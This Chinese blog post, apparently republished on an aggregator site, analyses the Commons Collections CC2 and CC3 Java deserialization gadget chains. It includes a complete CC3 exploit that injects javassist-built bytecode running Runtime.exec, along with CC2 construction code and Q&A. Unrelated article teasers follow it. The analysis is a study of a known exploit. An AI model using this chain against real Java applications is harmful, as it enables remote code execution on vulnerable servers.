commons-collections4 4.0中,LazyMap和TransformedMap没有了decorate方法,选择TransformingComparator的compare触发。

在构造时,transformer传入的应该是InvokerTransformer实例。

PriorityQueue

    private final Comparator<? super E> comparator;transient Object[] queue/*** Inserts item x at position k, maintaining heap invariant by* demoting x down the tree repeatedly until it is less than or* equal to its children or is a leaf.** @param k the position to fill* @param x the item to insert*/private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);//2elsesiftDownComparable(k, x);}@SuppressWarnings("unchecked")private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size &&comparator.compare((E) c, (E) queue[right]) > 0)//1c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;}/*** Establishes the heap invariant (described above) in the entire tree,* assuming nothing about the order of the elements prior to the call.*/@SuppressWarnings("unchecked")private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);//3}/*** Reconstitutes the {@code PriorityQueue} instance from a stream* (that is, deserializes it).** @param s the stream*/private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);queue = new Object[size];// Read in all elements.for (int i = 0; i < size; i++)queue[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();//4}

阅读源码可知PriorityQueue在反序列化readObject时,会按照注释中4、3、2、1标注的顺序,维护一个桶排序树合法。

接下来就是要如何构造comparator和queue了。

根据注释1处,我们知道comparator应该是TransformingComparator的一个实例。

根据TemplatesImpl和InvokerTransformer的分析,我们知道queue应该是TemplatesImpl实例数组。

于是有Exp中的构造:

    InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。queue.add(1);//queue.add(2);//占位用Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段field2.setAccessible(true);//暴力反射field2.set(queue,comparator);//设置queue的comparator字段值为comparatorField field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

问题补充

queue占位

Q1:

    PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。queue.add(1);//1queue.add(2);//2

注释1、2处,为何需要这两行代码?

A1:

我们看PriorityQueue的readObject函数:

    private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);queue = new Object[size];// Read in all elements.for (int i = 0; i < size; i++)queue[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();}

若无这两行代码,则创建的queue的size属性为0。

这会导致反序列化时queue为空。

因此Exp也可以改为:

    PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。Field field4=queue.getClass().getDeclaredField("size");//获取PriorityQueue的size字段field4.setAccessible(true);//暴力反射field4.set(queue,2);//设置queue的comparator字段值为comparator

Q2:

为何要用1、2占位,不能直接addtemplatesImpl​?

A2:

因为会报错:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl cannot be cast to java.lang.Comparable

而利用反射时

    Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

Java并不会检查是否合法,而在反序列化时,由于payload执行早于排序,因此不影响。

quenue反序列化

Q:

PriorityQueue的queue已经使用transient关键字修饰,为什么还能从流中反序列化queue中的元素?

A:

序列化规范允许待序列化的类实现writeObject方法,实现对自己的成员控制权。

CommonsCollections3

版本适用范围

Commons-Collections 3.1-3.2.1

Java JDK < 8u71

Exp展示

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections3 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("CommonsCollections333333333");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");Transformer[] transformers=new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);Map map=new HashMap();Map lazyMap= LazyMap.decorate(map,chainedTransformer);Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);Object object=constructor.newInstance(Override.class,map1);ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(object);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();}
}

Exp构造分析

CommonsCollections3是CommonsCollections1和CommonsCollections2的组合改造版。

涉及的新类有InstantiateTransformer和TrAXFilter。

利用链展示

AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()//1InstantiateTransformer.transform()//2TemplatesImpl.newTransformer()

前半部分是CommonsCollections1的LazyMap利用链,后半部分是CommonsCollections2的利用链。

TrAXFilter

在利用链注释1处会得到一个TrAXFilter类。

    public TrAXFilter(Templates templates) throws TransformerConfigurationException {this._templates = templates;this._transformer = (TransformerImpl)templates.newTransformer();//1 漏洞利用点this._transformerHandler = new TransformerHandlerImpl(this._transformer);this._useServicesMechanism = this._transformer.useServicesMechnism();}

根据ChainedTransformer.transform()的源码得知,这个类会作为InstantiateTransformer.transform()的入参。

InstantiateTransformer

    public Object transform(Object input) {try {if (!(input instanceof Class)) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));} else {Constructor con = ((Class)input).getConstructor(this.iParamTypes);return con.newInstance(this.iArgs);//1 漏洞利用点}} catch (NoSuchMethodException var6) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException var7) {throw new FunctorException("InstantiateTransformer: InstantiationException", var7);} catch (IllegalAccessException var8) {throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);} catch (InvocationTargetException var9) {throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);}}

this.iArgs的值为我们构造的templatesImpl,程序在注释1出实际执行的是templatesImpl.newTransformer(),后面的利用原理和CommonsCollections2类似,不再赘述。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/810410.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT5中引入GMSSL库

近来项目中需要使用加密算法,对上/下位机之间的消息进行加密。客户要求使用国密算法库,不能使用国际上通用的AES、RSA等算法。 国密即国家密码局认定的国产密码算法。主要有SM1,SM2,SM3,SM4。密钥长度和分组长度均为128位。 其中SM1没有开源,其他的均开源。 源码编译 开源…

Day2 备战CCF-CSP练习

201403-3Day2 题目描述 请你写一个命令行分析程序,用以分析给定的命令行里包含哪些选项。 每个命令行由若干个字符串组成,它们之间恰好由一个空格分隔。 这些字符串中的第一个为该命令行工具的名字,由小写字母组成,你的程序不用对它进行处理。 在工具名字之后可能会包含若干…

oop实验1

task1:1 // 现代C++标准库、算法库体验2 // 本例用到以下内容:3 // 1. 字符串string, 动态数组容器类vector、迭代器4 // 2. 算法库:反转元素次序、旋转元素5 // 3. 函数模板、const引用作为形参6 7 #include <iostream>8 #include <string>9 #include <vector…

MySQL 官宣:支持读写分离了!!

我们一直在等待的 MySQL 读/写分离功能 现在终于可以使用了! 在规模上,我们在副本之间分配读取,但这必须在应用程序中以某种方式进行管理:指向在某个地方写入并在其他地方读取。 在 MySQL 8.2 中,MySQL Router 现在能够识别读取和写入,并将它们路由到主实例(如果是 Inno…

【一步步开发AI运动小程序】二十、AI运动小程序如何适配相机全屏模式?

引言 受小程序camera组件预览和抽帧图像不一致的特性影响,一直未全功能支持全屏模式,详见本系列文件第四节小程序如何抽帧;随着插件在云上赛事、健身锻炼、AI体测、AR互动场景的深入应用,各开发者迫切的希望能在全屏模式下应用,以便获得更合理的UI布局和更佳的用户体验,经…

实战逆向RUST语言程序

实战为主,近日2024年羊城杯出了一道Rust编写的题目,这里将会以此题目为例,演示Rust逆向该如何去做。关于Rust逆向,其实就是看汇编,考验选手的基础逆向能力。在汇编代码面前,任何干扰都会成为摆设。实战为主,近日2024年羊城杯出了一道Rust编写的题目,这里将会以此题目为…

AI课堂教学质量评估系统

AI课堂教学质量评估系统利用摄像头和人脸识别技术,AI课堂教学质量评估系统实时监测学生的上课表情和课堂行为。同时,系统还结合语音识别技术和听课专注度分析算法,对学生的听课专注度进行评估。AI课堂教学质量评估系统通过收集和分析这些数据,生成教学质量报告,并提供针对…

在线表格技术如何助力企业实现全面预算?

最新技术资源(建议收藏) https://www.grapecity.com.cn/resources/前言 在当今快速变化和竞争激烈的商业环境中,企业需要通过精细化的管理手段来确保自身的市场竞争力和持续发展。全面预算管理(Comprehensive Budget Management)作为企业管理的重要组成部分,不仅为企业的…

考场作弊行为自动抓拍告警系统

考场作弊行为自动抓拍告警系统通过在考场内部布设监控摄像头和智能识别设备,考场作弊行为自动抓拍告警系统实时监测考场内所有考生的行为,考场作弊行为自动抓拍告警系统利用图像识别技术,对考生的行为进行自动抓拍,并分析判断是否存在作弊行为。考场作弊行为自动抓拍告警系…

大数据运维集大成者修行之路

搭建 华为私有云大数据平台 的组件

石油化工领域生产作业流程合规检测

石油化工领域生产作业流程合规检测通过引入AI视觉数据智能分析技术,石油化工领域生产作业流程合规检测对生产作业流程进行实时监测和合规性检测。石油化工领域生产作业流程合规检测利用现场监控摄像头对关键环节、设备和操作进行监测,采集数据并进行实时分析。石油化工领域生…

怎样解决连接数据库失败的问题

解决连接数据库失败的问题通常需要从以下几个方面入手:检查数据库地址:确认数据库服务器的地址是否正确。 检查是否使用了正确的端口号。验证数据库凭证:确保使用的用户名和密码正确无误。 如果使用的是环境变量或配置文件,请确认这些值是否设置正确。网络连接检查:测试从…